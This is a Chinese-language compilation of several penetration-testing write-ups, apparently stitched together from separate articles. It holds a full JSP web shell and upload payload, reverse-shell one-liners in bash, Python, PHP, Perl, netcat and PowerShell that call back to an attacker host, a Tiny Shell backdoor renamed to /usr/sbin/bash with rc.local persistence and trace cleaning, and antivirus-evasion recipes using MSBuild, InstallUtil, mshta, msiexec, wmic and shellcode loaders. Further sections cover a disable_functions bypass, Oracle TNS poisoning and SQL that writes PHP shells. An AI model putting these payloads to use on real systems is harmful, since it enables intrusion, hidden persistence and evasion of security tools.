2019年8月

一 前言

最近在渗透测试中,遇到一个比较有趣的站,因此来分享一下

二 信息收集

首先通过nmap进行端口扫描,同时通过dirsearch进行目录扫描,dirsearch扫描结果如下。

1.png

通过目录扫描发现一些有用的信息

第一 axis2构建的webservice
第二 axis2的后台登录地址(/axis2/axis2-admin/)存在

2.png

google axis2漏洞,发现多半都是默认口令进入后台上传war包getshell

三 漏洞测试

访问后台地址,尝试默认口令admin/axis2,发现如下,顿时心凉半截

3.png

尝试爆破,无果

4.png

不甘心就此止步于此,于是尝试浏览网站,看看是否存在其他有价值的漏洞,直到发现了这个

5.png

四 柳暗花明

访问http://xxxxxx/axis2/services/FileUploader?wsdl 发现一个wsdl接口文档,名为uploadfile

6.png

第一次看到一阵蒙,但内心坚定这里一定可以利用,于是各种百度,发现了如下文章
webservie+soap+wsdl入门
根据文章所讲,加上自己猜测,明白这是个可以上传文件的接口文档,根据文档简单来看
如下代码定义了传入的参数
documento表示上传内容,类型是base64Binary
ruta表示路径,类型是String
nombre表示文件名字,类型是String

<xs:complexType>
<xs:sequence>
<xs:element minOccurs="0" name="documento" nillable="true" type="xs:base64Binary"/>
<xs:element minOccurs="0" name="ruta" nillable="true" type="xs:string"/>
<xs:element minOccurs="0" name="nombre" nillable="true" type="xs:string"/>
</xs:sequence>
</xs:complexType>

如下代码定义了上传访问路径(FileUploader/uploadFile),以及上传方式(post)

<wsdl:binding name="FileUploaderHttpBinding" type="axis2:FileUploaderPortType">
<http:binding verb="POST"/>
<wsdl:operation name="uploadFile">
<http:operation location="FileUploader/uploadFile"/>
<wsdl:input>
<mime:content type="text/xml" part="parameters"/>
</wsdl:input>
<wsdl:output>
<mime:content type="text/xml" part="parameters"/>
</wsdl:output>
</wsdl:operation>
</wsdl:binding>

结合以上,可以看出来这个接口文档告诉我们这里存在一个任意文件上传漏洞

上传jsp木马

<%@ page contentType="text/html;charset=big5" session="false" import="java.io.*" %>
<html>
<head>
<title></title>
<meta http-equiv="Content-Type" content="text/html; charset=big5">
</head>
<body>
<%
Runtime runtime = Runtime.getRuntime();
Process process =null;
String line=null;
InputStream is =null;
InputStreamReader isr=null;
BufferedReader br =null;
String ip=request.getParameter("cmd");
try
{
process =runtime.exec(ip);
is = process.getInputStream();
isr=new InputStreamReader(is);
br =new BufferedReader(isr);
out.println("<pre>");
while( (line = br.readLine()) != null )
{
out.println(line);
out.flush();
}
out.println("</pre>");
is.close();
isr.close();
br.close();
}
catch(IOException e )
{
out.println(e);
runtime.exit(1);
}
%>
</body>
</html>

base64编码以上jsp木马

PCVAIHBhZ2UgY29udGVudFR5cGU9InRleHQvaHRtbDtjaGFyc2V0PWJpZzUiIHNlc3Npb249ImZhbHNlIiBpbXBvcnQ9ImphdmEuaW8uKiIgJT4KCjxodG1sPgoKPGhlYWQ+Cgo8dGl0bGU+PC90aXRsZT4KCjxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PWJpZzUiPgoKPC9oZWFkPgoKPGJvZHk+Cgo8JQoKICBSdW50aW1lIHJ1bnRpbWUgPSBSdW50aW1lLmdldFJ1bnRpbWUoKTsKCiAgUHJvY2VzcyBwcm9jZXNzID1udWxsOwoKICBTdHJpbmcgbGluZT1udWxsOwoKICBJbnB1dFN0cmVhbSBpcyA9bnVsbDsKCiAgSW5wdXRTdHJlYW1SZWFkZXIgaXNyPW51bGw7CgogIEJ1ZmZlcmVkUmVhZGVyIGJyID1udWxsOwoKICBTdHJpbmcgaXA9cmVxdWVzdC5nZXRQYXJhbWV0ZXIoImNtZCIpOwoKCiAgdHJ5CgogIHsKCiAgICBwcm9jZXNzID1ydW50aW1lLmV4ZWMoaXApOwoKICAgIGlzID0gcHJvY2Vzcy5nZXRJbnB1dFN0cmVhbSgpOwoKICAgIGlzcj1uZXcgSW5wdXRTdHJlYW1SZWFkZXIoaXMpOwoKICAgIGJyID1uZXcgQnVmZmVyZWRSZWFkZXIoaXNyKTsKCiAgICBvdXQucHJpbnRsbigiPHByZT4iKTsKCiAgICB3aGlsZSggKGxpbmUgPSBici5yZWFkTGluZSgpKSAhPSBudWxsICkKCiAgICB7CgogICAgICBvdXQucHJpbnRsbihsaW5lKTsKCiAgICAgIG91dC5mbHVzaCgpOwoKICAgIH0KCiAgICBvdXQucHJpbnRsbigiPC9wcmU+Iik7CgogICAgaXMuY2xvc2UoKTsKCiAgICBpc3IuY2xvc2UoKTsKCiAgICBici5jbG9zZSgpOwoKICB9CgogIGNhdGNoKElPRXhjZXB0aW9uIGUgKQoKICB7CgogICAgb3V0LnByaW50bG4oZSk7CgogICAgcnVudGltZS5leGl0KDEpOwoKICB9CgolPg==

构造payload如下

http://xxxxxx/axis2/services/FileUploader/uploadFile?documento=PCVAIHBhZ2UgY29udGVudFR5cGU9InRleHQvaHRtbDtjaGFyc2V0PWJpZzUiIHNlc3Npb249ImZhbHNlIiBpbXBvcnQ9ImphdmEuaW8uKiIgJT4KCjxodG1sPgoKPGhlYWQ+Cgo8dGl0bGU+PC90aXRsZT4KCjxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PWJpZzUiPgoKPC9oZWFkPgoKPGJvZHk+Cgo8JQoKICBSdW50aW1lIHJ1bnRpbWUgPSBSdW50aW1lLmdldFJ1bnRpbWUoKTsKCiAgUHJvY2VzcyBwcm9jZXNzID1udWxsOwoKICBTdHJpbmcgbGluZT1udWxsOwoKICBJbnB1dFN0cmVhbSBpcyA9bnVsbDsKCiAgSW5wdXRTdHJlYW1SZWFkZXIgaXNyPW51bGw7CgogIEJ1ZmZlcmVkUmVhZGVyIGJyID1udWxsOwoKICBTdHJpbmcgaXA9cmVxdWVzdC5nZXRQYXJhbWV0ZXIoImNtZCIpOwoKCiAgdHJ5CgogIHsKCiAgICBwcm9jZXNzID1ydW50aW1lLmV4ZWMoaXApOwoKICAgIGlzID0gcHJvY2Vzcy5nZXRJbnB1dFN0cmVhbSgpOwoKICAgIGlzcj1uZXcgSW5wdXRTdHJlYW1SZWFkZXIoaXMpOwoKICAgIGJyID1uZXcgQnVmZmVyZWRSZWFkZXIoaXNyKTsKCiAgICBvdXQucHJpbnRsbigiPHByZT4iKTsKCiAgICB3aGlsZSggKGxpbmUgPSBici5yZWFkTGluZSgpKSAhPSBudWxsICkKCiAgICB7CgogICAgICBvdXQucHJpbnRsbihsaW5lKTsKCiAgICAgIG91dC5mbHVzaCgpOwoKICAgIH0KCiAgICBvdXQucHJpbnRsbigiPC9wcmU+Iik7CgogICAgaXMuY2xvc2UoKTsKCiAgICBpc3IuY2xvc2UoKTsKCiAgICBici5jbG9zZSgpOwoKICB9CgogIGNhdGNoKElPRXhjZXB0aW9uIGUgKQoKICB7CgogICAgb3V0LnByaW50bG4oZSk7CgogICAgcnVudGltZS5leGl0KDEpOwoKICB9CgolPg==&ruta=./&nombre=2.jsp

访问链接,结果如下,表示成功得到一个jsp shell

7.png

反弹shell

访问shell地址,执行反弹shell(信息收集阶段nmap发现为linux)

http://xxxx/axis2/2.jsp?cmd=bash -i >& /dev/tcp/外网ip/port 0>&1

执行反弹几次,发现一直不成功,最后通过测试,该主机对端口访问进行了限制,只能访问外网80端口,故反弹shell连接中port为80

8.png

后门

当反弹shell后,发现是一台虚拟机,有点失望,但同时发现,该机具有多个内网网段,故打算留个后门以用来进行后面的内网渗透

9.png

10.png

我打算留下一个tsh后门,Tiny Shell 是一款开源的Unix类后门shell工具,由C语言编写,体积小(在kali系统上编译后只有55K大小)
该后门分为客户端和服务端,支持正向连接模式(即服务端在远程运行,使用者远程直接链接),和反弹连接模式(使用者在自己服务器监听,服务端链接监听端口)
后门下载地址:https://github.com/orangetw/tsh.git
下载tsh到自己服务器上,修改其中的tsh.h文件如下

#ifndef _TSH_H
#define _TSH_H

char *secret = "replace with your password";

#define SERVER_PORT 80/*监听端口*/
#define FAKE_PROC_NAME "/bin/bash"

#define CONNECT_BACK_HOST  "外网ip"
#define CONNECT_BACK_DELAY 30

#define GET_FILE 1
#define PUT_FILE 2
#define RUNSHELL 3

#endif /* tsh.h */

自己服务器上执行

11.png

目标机器上通过wget下载tsh

12.png

解压后进入tsh目录,然后执行编译(原本打算在自己服务器上编译后上传,结果因为库版本不同报错)

make linux

13.png

把图中的tsh下载到自己的服务器上(在控制端执行监听)

14.png

然后执行

./tsh cb

15.png

将图下tshd重命名为bash,移动至/usr/sbin/bash(以达到更好隐藏自己的目的)

16.png

然后执行(记住添加执行权限x)

./usr/sbin/bash

30秒钟左右,成功获取一个shell

17.png

权限维持

如果,目标机器重启,则tsh后门将要失效,为了防止tsh失效,我们可以在/etc/rc.local文件中写入

/bin/bash /usr/sbin/bash

18.png

因为在linux启动中,会执行/etc/rc.local中的代码
最后就是清楚自己留下的痕迹了

在我们渗透测试的过程中,最常用的就是基于tcp/udp协议反弹一个shell,也就是反向连接。

我们先来讲一下什么是正向连接和反向连接。

正向连接:我们本机去连接目标机器,比如ssh和mstsc
反向连接:目标机器去连接我们本机

那么为什么反向连接会比较常用呢

1.目标机器处在局域网内,我们正向连不上他
2.目标机器是动态ip
3.目标机器存在防火墙

然后说一下我的实验环境

虚拟机采用nat模式

攻击机:Kali Linux:172.16.1.130
受害机:Centos 7:172.16.1.134

常见姿势

bash

bash也是最常见的一种方式

Kali监听

nc -lvvp 4444

centos运行

bash -i >& /dev/tcp/172.16.1.130/4444 0>&1

当然你还可以这样

exec 5<>/dev/tcp/172.16.1.130/4444;cat <&5|while read line;do $line >&5 2>&1;done

这两个都是bash根据Linux万物皆文件的思想衍生过来的,具体更多bash的玩法你可以参考

https://xz.aliyun.com/t/2549

python

攻击机Kali还是监听

nc -lvvp 4444

centos执行

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.16.1.130",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

这个payload是反向连接并且只支持Linux,Windows可以参考离别歌师傅的 python windows正向连接后门

nc

如果目标机器上有nc并且存在-e参数,那么可以建立一个反向shell

攻击机监听

nc -lvvp 4444

目标机器执行

nc 172.16.1.130 4444 -t -e /bin/bash

这样会把目标机的/bin/bash反弹给攻击机

但是很多Linux的nc很多都是阉割版的,如果目标机器没有nc或者没有-e选项的话,不建议使用nc的方式

php

攻击机监听

nc -lvvp 4444

要求目标机器有php然后执行

php -r '$sock=fsockopen("172.16.1.130",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

或者你直接在web目录写入一个php文件,然后浏览器去访问他就行了,这有一个Linux和Windows两用的脚本

Java 脚本反弹

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/172.16.1.130/4444;cat <&5 | while read line; do $line 2>&5 >&5; done"] as String[])
p.waitFor()

perl 脚本反弹

perl -e 'use Socket;$i="172.16.1.130";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

powershell

目标机器执行

powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 172.16.1.130 -port 4444

msfvenom 获取反弹一句话

msf支持多种反弹方式,比如exe ps php asp aspx甚至是ruby等,我们可以用msfvenom来生成payload,然后在msf中监听,执行之后就会反弹回来session

生成payload的方法参考生成msf常用payload,不再赘述

然后msf监听

msfconsole
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 172.16.1.130
set LPORT 4444
set ExitOnSession false
exploit -j -z

那么讲到这里我们把一句话反弹shell的方式讲的差不多了,但是到这里我们又涉及到了一个免杀的问题。

我们首先需要知道的是目前的反病毒软件查杀,常见的有三种:

1.基于文件特征
2.基于文件行为
3.基于云查杀 实际也是基于特征数据库的查杀

到目前为止,我所知道的免杀姿势有以下几种

1.Windows白名单 俗称白加黑 也就是用带有微软签名的软件来运行我们自己的shellcode
2.payload分离免杀 比如shellcode loader
3.换一门偏僻的语言来自己写反弹shell

而接下来的几种只适用于Windows。

攻击机:Kali Linux:172.16.1.130
受害机:Win 7:172.16.1.135

Windows白加黑

白加黑需要的payload可以使用一句话下载姿势总结 把payload下载到目标机器,这里不再赘述。

MSBuild

MSBuild是Microsoft Build Engine的缩写,代表Microsoft和Visual Studio的新的生成平台
MSBuild可在未安装Visual Studio的环境中编译.net的工程文件
MSBuild可编译特定格式的xml文件
更多基本知识可参照以下链接:
https://msdn.microsoft.com/en-us/library/dd393574.aspx

意思就是msbuild可以编译执行csharp代码。

在这里我们需要知道的是msbuild的路径

加载32位的shellcode需要用32位的msbuild

C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

加载64位的shellcode需要用64位的msbuild

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe

我们这里用64位的shellcode和64位的win7来操作。

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=172.16.1.130 lport=4444 -f csharp

生成shellcode之后我们需要用到一个三好学生师傅的 https://github.com/3gstudent/msbuild-inline-task

我们用的是executes x64 shellcode.xml的模板,把里面45行之后的改为自己的shellcode

然后msf监听

msfconsole
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 172.16.1.130
set LPORT 4444
set ExitOnSession false
set autorunscript migrate -n explorer.exe
exploit -j

在目标机器上运行

C:\Windows\Microsoft.NET\Framework64\v4.0.30319>MSBuild.exe "C:\Users\jack.0DAY\Desktop\exec.xml"

然后会话上线,某数字卫士无反应,并且正常执行命令

1.png

更多关于msbuild的内容可以参考三好学生师傅的文章

Installutil.exe&csc.exe

Installer工具是一个命令行实用程序,允许您通过执行指定程序集中的安装程序组件来安装和卸载服务器资源。此工具与System.Configuration.Install命名空间中的类一起使用。
(具体参考:[Windows Installer部署][6])

通过msfvenom生成C#的shellcode

msfvenom -p windows/meterpreter/reverse_tcp lhost=172.16.1.130 lport=4444 -f csharp

下载InstallUtil-Shellcode.cs,将上面生成的shellcode复制到该cs文件中

https://gist.github.com/lithackr/b692378825e15bfad42f78756a5a3260

csc编译InstallUtil-ShellCode.cs

C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe /unsafe /platform:x86 /out:D:\test\InstallUtil-shell.exe D:\test\InstallUtil-ShellCode.cs

编译生成的文件后缀名无所谓exe dll txt都可以,但只能InstallUtil.exe来触发

InstallUtil.exe执行 反弹shell

C:\Windows\Microsoft.NET\Framework\v2.0.50727\InstallUtil.exe /logfile= /LogToConsole=false /U D:\test\InstallUtil-shell.exe

参考https://www.blackhillsinfosec.com/how-to-bypass-application-whitelisting-av/

regasm和regsvcs

regasm和regsvcs都可以用来反弹shell的,而且方式也一样

下载这个cs文件 ,然后替换你的shellcode

msfvenom -p windows/meterpreter/reverse_tcp lhost=172.16.1.130 lport=4444 -f csharp

使用sn.exe生成公钥和私钥,如果没有sn命令你可能需要安装vs

sn -k key.snk

编译dll,注意文件的路径

C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /r:System.EnterpriseServices.dll /target:library /out:1.dll /keyfile:key.snk regsvcs.cs

用这两者上线

C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe 1.dll 
C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe 1.dll

或者这样

C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe /U 1.dll 
C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U 1.dll

上线成功。

mshta

mshta是在环境变量里的

msfvenom -p windows/meterpreter/reverse_tcp lhost=172.16.1.130 lport=4444 ‐f raw > shellcode.bin

cat shellcode.bin |base64 ‐w 0

然后替换这个文件中的shellcode

https://raw.githubusercontent.com/mdsecactivebreach/CACTUSTORCH/master/CACTUSTORCH.hta

替换' ---------- DO NOT EDIT BELOW HERE -----------上面引号包起来的base64,可以将hta托管出来。

mshta.exe http://baidu.com/shellcode.hta

在cobalt strike中mshta也是一个很方便的上线功能。

Msiexec简介:

Msiexec 是 Windows Installer 的一部分。用于安装 Windows Installer 安装包(MSI),一般在运行 Microsoft Update 安装更新或安装部分软件的时候出现,占用内存比较大。并且集成于 Windows 2003,Windows 7 等。

Msiexec已经被添加到环境变量了。

msfvenom -p windows/meterpreter/reverse_tcp lhost=172.16.1.130 lport=4444 ‐f msi > shellcode.txt

目标机执行

msiexec.exe /q /i http://172.16.1.130/shellcode.txt

wmic

已经被添加到环境变量

poc

wmic os get /FORMAT:"http://example.com/evil.xsl"

<?xml version='1.0'?>
<stylesheet
xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt"
xmlns:user="placeholder"
version="1.0">
<output method="text"/>
<ms:script implements-prefix="user" language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
]]> </ms:script>
</stylesheet>

参考:利用wmic调用xsl文件的分析与利用
这里还有一个poc https://raw.githubusercontent.com/kmkz/Sources/master/wmic-poc.xsl

rundll32

Rundll32.exe是指“执行32位的DLL文件”。它的作用是执行DLL文件中的内部函数,功能就是以命令行的方式调用动态链接程序库。已经加入环境变量。

rundll32.exe javascript:"\..\mshtml.dll,RunHTMLApplication ";eval("w=new ActiveXObject(\"WScript.Shell\");w.run(\"calc\");window.close()");

也可以去执行msf生成的dll

rundll32.exe shell32.dll,Control_RunDLL c:\Users\Y4er\Desktop\1.dll

在这我们先简单介绍这几种,还有compiler.exe odbcconf psexec ftp.exe等等。在这里给出参考连接

micro8前辈 https://micro8.gitbook.io/micro8/contents-1#71-80-ke

payload分离免杀

在这里也只介绍两种分离免杀的姿势

shellcode loader

借助第三方加载器,将shellcode加载到内存中来执行。

https://github.com/clinicallyinane/shellcode_launcher

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=172.16.1.130 lport=4444 -e x86/shikata_ga_nai -i 5 -f raw > test.c

靶机执行

shellcode_launcher.exe -i test.c

msf监听正常上线

csc和InstallUtil

不再赘述,参考上文白加黑

偏僻语言

实际上也不能说偏僻语言,原理是让杀软不识别文件的pe头。我们在这说两种

pyinstaller

py版的shellcode模板

#! /usr/bin/env python
# encoding:utf-8

import ctypes

def execute():
# Bind shell
shellcode = bytearray(
"\xbe\x24\x6e\x0c\x71\xda\xc8\xd9\x74\x24\xf4\x5b\x29"
    ...
"\x37\xa5\x48\xea\x47\xf6\x81\x90\x07\xc6\x62\x9a\x56"
"\x13"
 )

ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
ctypes.c_int(len(shellcode)),
ctypes.c_int(0x3000),
ctypes.c_int(0x40))

buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)

ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),
buf,
ctypes.c_int(len(shellcode)))

ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_int(ptr),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0)))

ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),
ctypes.c_int(-1))
if __name__ == "__main__":
execute()

    msfvenom -p windows/meterpreter/reverse_tcp LPORT=4444 LHOST=172.16.1.130 -e x86/shikata_ga_nai -i 5 -f py -o  1.py

使用pyinstaller打包

pyinstaller.py -F --console 1.py

和pyinstaller类似的还有py2exe,不再赘述。

go+upx

package main

import "C"
import "unsafe"

func main() {
buf := ""
buf += "\xdd\xc6\xd9\x74\x24\xf4\x5f\x33\xc9\xb8\xb3\x5e\x2c"
...省略...
buf += "\xc9\xb1\x97\x31\x47\x1a\x03\x47\x1a\x83\xc7\x04\xe2"
// at your call site, you can send the shellcode directly to the C
// function by converting it to a pointer of the correct type.
shellcode := []byte(buf)
C.call((*C.char)(unsafe.Pointer(&shellcode[0])))
}

如果正常编译体积会很大,建议使用go build -ldflags="-s -w"参数来编译生成exe,你也可以go build -ldflags="-H windowsgui -s -w"去掉命令窗口

编译出来900多kb,在使用upx压缩一下会降低到200kb左右,也能正常上线。

写在文后

本文所讲到的很多姿势实际上是用来bypass applocker,不过也能弹回来会话。

实战环境复杂,更多情况下请自行判断该使用什么姿势,实际上有时候你折腾半天不上线还不如直接一个bash反弹回来方便。

收集信息

1.png

发现
.project文件 sql目录遍历 uploads目录遍历 phpmyadmin泄露 superadmin 目录(phpmywind)泄露 include目录遍历

获取到管理员密码

首先看sql目录

2.png

下载后发现是sql的导出文件,有php版本 phpstudy 查看一些信息发现

3.png

somd5解出来密码是rock1980

登陆phpMyadmin

尝试admin rock1980登陆phpwind phpmyadmin未果,用root rock1980登陆phpmyadmin,成功登陆

4.png

secure_file_priv设置为NULL,写日志文件又不知道web绝对路径写不了shell,陷入沉思

登陆phpMyWind

沉思的时候翻数据库
找了一下发现另一个admin表,怀疑是phpmywind的管理员表,md5解不出,自己加了一个用户进去test/testtesttestaaa,登陆成功

5.png

6.png

一个任意文件读取

发现是低版本phpmywind 5.3 可以后台任意文件读取 结合之前的include路径遍历,可以读取一些敏感信息
https://www.0dayhack.com/post-764.html

7.png

8.png

GetShell

看了一下功能,发现后台可以改允许上传文件后缀,修改php上传php发现貌似被waf拦了,改为phtml上传成功

9.png

10.png

11.png

连上马

12.png

然后发现有disable_function无法执行系统命令,但是没有禁用putenv和mail

13.png

于是用LD_PRELOAD + putenv绕过
https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD
phpinfo发现是centos 64位
于是上传64 位的so文件,配合php,成功执行系统命令
下面执行了ifconfig

14.png

centos系统内核比较老,可能可以提权,但怕搞坏机器就没继续了,内网也很大,可能可以漫游,不过还是要先提权,就止步于此了。

漏洞原理分析:

CVE-2012-1675该漏洞产生的原因是因为“TNS Listener”组件中允许攻击者不使用用户名和密码的情况下就变成“自家人”,也就是说攻击者冒充受害者的小弟,但是受害者没有进行任何认证就相信了。然后现在受害者就有两个同名数据库了,监听将自动按照负载均衡把这次访问发送到负载低的数据库上,进行连接访问。

1.png

然后我们就在连接处开设一个抓包工具就可以抓取受害人向攻击者发送的所有数据了。

2.png

这时候可能就有人问了,受害者都把数据给你了,你为什么不直接在你的数据库里面查看,这是因为你要查看必须要通过验证才能查看,验证也就是输入账号密码。所以我们只能通过中间人攻击来获取数据。

漏洞复现:

环境配置:攻击者必须有一个oracle数据库环境不然无法进行TNS投毒攻击

我们先使用Metasploit的tnspoison_checker模块进行漏洞检测。
首先:use auxiliary/scanner/oracle/tnspoison_checker
然后:set RHOSTS 目标IP
然后:run

3.png

这时候返回信息说是存在cve-2012-1675漏洞的。
那么我们进行下一步测试
启动脚本 python tnspoisonv1.py 攻击者ip 端口 数据库名 受害者ip 端口
需要注意的是这里的数据库名必须是攻击者和受害者同名的数据库

4.png

然后模拟用户正常使用数据库,进行登陆以及使用数据库查询语句。
接下来开启wireshark 进行抓包

5.png

我们只需要注意TNS协议就好了,因为oracle数据库的协议是使用TNS协议的。
打开其中的数据,可以看见我们模拟用户登陆得到的数据库账号

6.png

我们在看下我们使用的查询语句是否能有拦截

7.png

可以看到这个是拦截成功了。

总结:
这个漏洞危害还是挺大的,而且默认状态是开启的,需要运维人员自己配置,但是这个利用条件需要知道攻击者的数据库名字,同时要在6个字符才可以。但是和CVE-2012-3137一起打组合技的话,威力会大很多。

前几天工作的时候,有幸参加了一次HW,现对其中的一次测试流程进行总结,文中提及的站点漏洞均已修复,图片打码严重,还望见谅。

后台登录地址:http://xxx.xxx.xxx.xxx:xxxx/login

弱口令进入:adminqwe123

1.png

登陆后发现是通达oa2013,这套系统存在直接变量覆盖getshell的漏洞,漏洞详情链接:http://www.anquan.us/static/bugs/wooyun-2016-0168661.html

登录构造请求数据包:

POST /logincheck.php HTTP/1.1
Host: xx.xx.xx
Content-Length: 182
Cache-Control: max-age=0
Origin: http://xx.xx.com
Upgrade-Insecure-Requests: 1
Content-Type:application/x-www-form-urlencoded
User-Agent: Mozilla/5.0(Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)Chrome/67.0.3396.99 Safari/537.36
Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://xx.xx.com
Accept-Encoding: gzip, deflate
Accept-Language:zh-CN,zh;q=0.9,en;q=0.8
Cookie: SID_1=8b3cb1d3;PHPSESSID=he68espbvu9oq0rgamruvhs114
Connection: close

USERNAME=admin&PASSWORD=&MYOA_MASTER_DB[id]=1&MYOA_MASTER_DB[host]=xx.xx.xx.xx&MYOA_MASTER_DB[user]=root&MYOA_MASTER_DB[pwd]=rootpassword&MYOA_MASTER_DB[db]=oa&encode_type=1&button=

这样之后,我们就能以admin的权限登录到后台了,但是我这里已经有了admin的权限,所以这一步对我来说毫无意义。直接使用getshell的方法,后台有sql导入功能也就是我们可以执行任意的sql语句,这时候我们一般会选择两种方法,使用intooutfile 或者用general_log。

具体语句分别为:

update mysql.user set file_priv='Y' where user='root';
flush privileges;
select concat("'",0x3C3F7068702061737365727428245F504F53545B615D29203F3E)into outfile '../webroot/test.php';
update mysql.user set file_priv='N' where user='root';
flush privileges;

这个语句的意思就是我们先将文件写入的权限打开,然后使用selectinto语句往路径里面写入一个shell。

set global general_log = on;
set global general_log_file = '../webroot/test.php';
select '<?php assert($_POST[a]) ?>';
set global general_log = off;

这个语句也一样,我们先把日志文件更改为一个php文件,然后使用select语句任意查询一条带有恶意攻击的语句,然后我们的攻击语句就会被写入到日志里面也就是一个php文件,达到getshell的目的。

但是尝试导入后却发现失败了,不知道是什么原因。

2.png

无奈,翻了翻目录,发现phpmyadmin地址:
http://xxx.xxx.xxx.xxx:xxxx/mysql

3.png

由于是未授权访问,无法使用selectinto写入shell,而且试着去写入日志getshell也是失败了,于是又转入后台,后台发现物理路径:D:MOYA

4.png

在上传附件哪里发现可以上传php文件,上传小马失败链接提示500错误,

5.png

上传大马成功访问,getshell成功:

6.png

直接system权限:

7.png

发现是内网ip,使用reDuh构建http隧道代理出来:

8.png

顺便说一下这个工具的作用与用法

reDuh使用条件:

 (1)获取目标服务器webshell,且可以上传reDuh服务端对应脚本文件
 (2)知道目标服务器开放的内网端口,如远程桌面的端口是3389
 (3)目标服务器网络做了端口策略限制,只允许外部访问内网的80等特定端口

reDuh使用命令:

(1)本地具备java环境
 java-jar reDuhClient.jar  http://somesite.com/reDuh.aspx http or httpsport
(2)本地连接1010端口
 nc-vv localhost 1010
(3)在java命令窗口执行
 [createTunnel]1234:127.0.0.1:3389
(4)使用mstsc登录127.0.0.1:1234